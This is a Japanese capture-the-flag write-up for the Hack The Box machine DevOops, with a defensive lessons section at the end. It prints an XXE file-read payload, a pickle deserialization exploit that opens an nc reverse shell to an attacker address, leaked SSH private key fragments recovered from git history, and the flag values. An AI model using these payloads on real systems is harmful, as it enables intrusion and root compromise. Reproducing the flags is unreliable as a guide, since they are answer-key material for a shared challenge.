Hack The BoxのWriteup(DevOops)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: DevOops — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH, 5000/tcp Gunicorn
/upload XXE
/etc/passwd, feed.py読取
/newpost pickle RCE
Content-Type修正が鍵
roosaシェル取得
user.txt ✓
git show で鍵コミット調査
git diff ではなく git show
漏洩root鍵でSSH
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.58.1
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 138.66 seconds

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,5000 10.129.58.1
RESULT
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1

Webアプリのバナー確認

BASH
curl -s -i http://10.129.58.1:5000/
RESULT
HTTP/1.1 200 OK
Server: gunicorn/19.7.1

<html><body>Under construction!<br>
<p>This is feed.py, which will become the MVP for Blogfeeder application.</p>
<p>TODO: replace this with the proper feed from the dev.solita.fi backend.</p>
<p><img src="/feed" ...></p></body></html>
ℹ️
レスポンス本文が自身のソースファイル名 feed.py を明示している。 後続のXXEで実際にこのファイル自体を読み出すことになる。
PHASE 2

/upload の XML外部実体参照 (XXE) でローカルファイル読取

XXEペイロードの構成

PYTHON (生成したXML)
<?xml version='1.0' encoding='ISO-8859-1'?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
   <Author>&xxe;</Author>
   <Subject>writeup</Subject>
   <Content>writeup</Content>
</creds>
BASH
curl -s -F "file=@xxe.xml;filename=writeup.xml;type=text/xml" \
  http://10.129.58.1:5000/upload
RESULT
PROCESSED BLOGPOST:
  Author: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:...
...
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false

 Subject: writeup
 File path: /home/roosa/deploy/src
XXE成功。アップロードされたXMLの&xxe;実体が <Author>要素内で展開され、ファイル内容がそのままレスポンスに 反映される。レスポンス末尾のFile path: /home/roosa/deploy/srcから アプリの実配置パスも判明。

アプリ自身のソース(feed.py)を読み出す

BASH
# file:///home/roosa/deploy/src/feed.py を同様にXXEで読取
RESULT (feed.py 抜粋)
@app.route("/newpost", methods=["POST"])
def newpost():
  # TODO: proper save to database, this is for testing purposes right now
  picklestr = base64.urlsafe_b64decode(request.data)
  postObj = pickle.loads(picklestr)
  return "POST RECEIVED: " + postObj['Subject']
🚨
致命的な設計ミス発見。/newpostは攻撃者が完全に 制御できるbase64文字列を直接pickle.loads()に渡している。 Pythonのpickleは信頼できないデータの逆シリアル化がそのまま 任意コード実行につながることで知られる危険な仕組み。
PHASE 3

安全でないpickle逆シリアル化 → RCE

悪意pickleペイロードの生成

PYTHON
import pickle, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1"
                             "|nc <kali_ip> 4445 >/tmp/f",))

raw = pickle.dumps(Exploit(), protocol=0)
b64 = base64.urlsafe_b64encode(raw)
ℹ️
__reduce__が返す(callable, args)タプルは、 pickle.loads()の実行中に(結果が変数に代入されるより前に) 副作用として即座に呼び出される。これが「逆シリアル化するだけでコード実行が 起きる」pickle脆弱性の核心的な仕組み。protocol 0(テキストベース)を使うと 生成物がASCII文字のみになりHTTP経由での送信が扱いやすい。

重要な落とし穴 — curlの既定Content-Type

BASH (最初の失敗)
curl -s --data-binary "<base64文字列>" http://10.129.58.1:5000/newpost
RESULT
<h1><p>Internal Server Error</p></h1>
(リバースシェルは一切接続してこない)
⚠️
curlは-HでContent-Typeを明示しない限り、 --data-binary使用時に既定で Content-Type: application/x-www-form-urlencodedを付与する。 Flaskはこのcontent-typeを見るとボディを自動的にフォームデータとして パースしてしまい、request.form側に吸収されて request.data空(b”)になる。結果 pickle.loads(b'')EOFErrorで即座に例外を投げ、 os.system()が一度も呼ばれないまま500エラーになっていた。
BASH (修正)
curl -s -H "Content-Type: application/octet-stream" \
  --data-binary "<base64文字列>" \
  http://10.129.58.1:5000/newpost
非フォーム系のContent-Typeを明示することで、Flaskはボディをパースせず request.dataに生バイト列として渡すようになり、 pickle.loads()が正しく実行されリバースシェルが確立した。 (この後postObj['Subject']で整数を添字アクセスしようとして 500エラーにはなるが、その時点で既にコマンドは実行済みのため無害)。
PHASE 4

リバースシェル確立 → user.txt

リスナー起動 & トリガー送信

BASH
# ターミナル1
nc -lnvp 4445

# ターミナル2 (修正済みcurl)
curl -s -H "Content-Type: application/octet-stream" \
  --data-binary "Y3Bvc2l4CnN5c3RlbQpwMAooVnJt..." \
  http://10.129.58.1:5000/newpost
RESULT (nc リスナー側)
listening on [any] 4445 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.58.1] 43076
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)

user.txt取得

BASH
$ cat /home/roosa/user.txt
RESULT
942d1e769c8d0fffa893879bf3b5903a
user.txt — roosa
942d1e769c8d0fffa893879bf3b5903a
ℹ️
idの出力に27(sudo)グループが含まれているが、 本機の想定ルートはsudo権限昇格ではなくgit履歴からの鍵復元。
PHASE 5

git履歴調査 — 漏洩SSH秘密鍵の発掘

怪しいコミットの発見

BASH
$ cd /home/roosa/work/blogfeed && git log --all --oneline
RESULT
7ff507d Use Base64 for pickle feed loading
26ae6c8 Set PIN to make debugging faster...
cec54d8 Debug support added to make development more agile.
ca3e768 Blogfeed app, initial version.
dfebfdf Gunicorn startup script
33e87c3 reverted accidental commit with proper key
d387abf add key for feed integration from tnerprise backend
1422e5a Initial commit
🚨
d387abfで秘密鍵が誤ってコミットされ、33e87c3で 「修正」として別の鍵に差し替えられている。しかしgit履歴には 古い(漏洩した)鍵の内容がそのまま残っているため、リポジトリの 全履歴を見られる限り古い鍵を復元できる。

重要な落とし穴 — git diff ではなく git show

BASH (最初の失敗)
$ git diff 33e87c3
RESULT
diff --git a/run-gunicorn.sh b/run-gunicorn.sh
new file mode 100755
...
(鍵とは無関係な、33e87c3より後の全コミットの変更が混ざって出てくる)
⚠️
git diff <hash>は、そのコミットから現在のHEAD (作業ツリー)までの累積差分を表示するため、 33e87c3より後に追加された無関係なコミット(gunicorn起動 スクリプト追加、デバッグPIN設定など)の変更まで全部混ざって出てきてしまい、 目的の鍵の差分が埋もれて見つからなかった。
BASH (修正)
$ git show 33e87c3 | sed -n '/-----BEGIN/,/-----END/p'
RESULT
 -----BEGIN RSA PRIVATE KEY-----
-MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
... (25行、'-'始まりが旧鍵)
+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
... (25行、'+'始まりが新鍵)
 -----END RSA PRIVATE KEY-----
git show <hash>はそのコミット自身が 親コミットに対して導入した変更だけを表示する。これにより 鍵ファイルの旧内容(-で始まる行、削除された=revert前の鍵)と 新内容(+で始まる行)がきれいに分離して得られた。
ℹ️
再構築時の注意: base64アルファベットには文字として +/が含まれるため、diffの行頭が +X...のような形になっている行は、「diffの追加マーカー」 なのか「鍵データ自身の先頭文字がたまたま+」なのか、目視だけでは 区別しづらい罠がある。手動で書き写して再構築すると1行丸ごと 誤判定して欠落させやすいため、awk '/^ /||/^-/{print substr($0,2)}' のようにターゲット側で機械的に1文字目(diffマーカー)だけを 確実に除去してから読み出す方が安全。
PHASE 6

漏洩root鍵でSSHログイン → root.txt

旧鍵でSSHログイン

BASH
chmod 600 old_key.pem
ssh -i old_key.pem -o StrictHostKeyChecking=no root@10.129.58.1 \
  "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
ebe3383a7f2af991f20929f150bfdd43
rootログイン成功! リポジトリ上は「修正済み」に見える鍵でも、 サーバー側のauthorized_keysは旧鍵のまま更新されていなかった ため、git履歴に残る削除済みの鍵がそのまま今も通用する。 「secretをgit revertで消したつもりでも、履歴が残る限り漏洩は続く」という 典型的な教訓。
root.txt — root@DevOops
ebe3383a7f2af991f20929f150bfdd43
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — roosa
942d1e769c8d0fffa893879bf3b5903a
root.txt — root
ebe3383a7f2af991f20929f150bfdd43

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
XXE (XML外部実体参照) /upload エンドポイント 任意ローカルファイル読取 High file://スキームのSYSTEM実体でサーバー上の任意ファイル(/etc/passwd, feed.py)を読取
安全でないpickle逆シリアル化 /newpost エンドポイント リモートコード実行 (roosa) Critical __reduce__でos.systemを返す悪意オブジェクトをprotocol 0でpickle化しPOST
git履歴への機密情報コミット blogfeedリポジトリ 権限昇格 (root) Critical revertで「削除」したつもりの秘密鍵がgit historyに残存し復元可能、かつサーバー側authorized_keysが未更新

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22/tcp SSH、5000/tcp Gunicorn(Flask)
2情報収集/upload XXE/etc/passwd、feed.pyソースコード(pickle脆弱性発見)
3RCE確立/newpost pickle RCE (Content-Type修正必須)roosaシェル
4フラグ取得①user.txt
5調査git show(diffではなく)で鍵コミット分析旧root SSH秘密鍵の復元
6権限昇格漏洩鍵でSSHログインroot.txt

学んだ教訓 & 防御策

問題点防御策
XMLアップロード機能でDTD/外部実体展開が有効 XMLパーサーでDTD処理・外部実体解決を無効化する(例: lxmlのresolve_entities=False)。
攻撃者制御のbase64文字列を直接pickle.loadsに渡している 信頼できない入力の逆シリアル化にpickleを絶対に使わない。JSON等の安全なフォーマットを使う。
秘密鍵をgitにコミットしてしまい、revertで「削除」した気になっている コミットした秘密情報はgit historyから完全に除去(git filter-repo/BFG等)し、直ちに鍵自体をローテーション(失効・再発行)する。revertだけでは漏洩は継続する。
authorized_keysが鍵ローテーション後も更新されていない 鍵ライフサイクル管理を自動化し、ローテーション時にサーバー側の許可済み鍵一覧も確実に同期させる。
HackTheBox: DevOops | 完全攻略レポート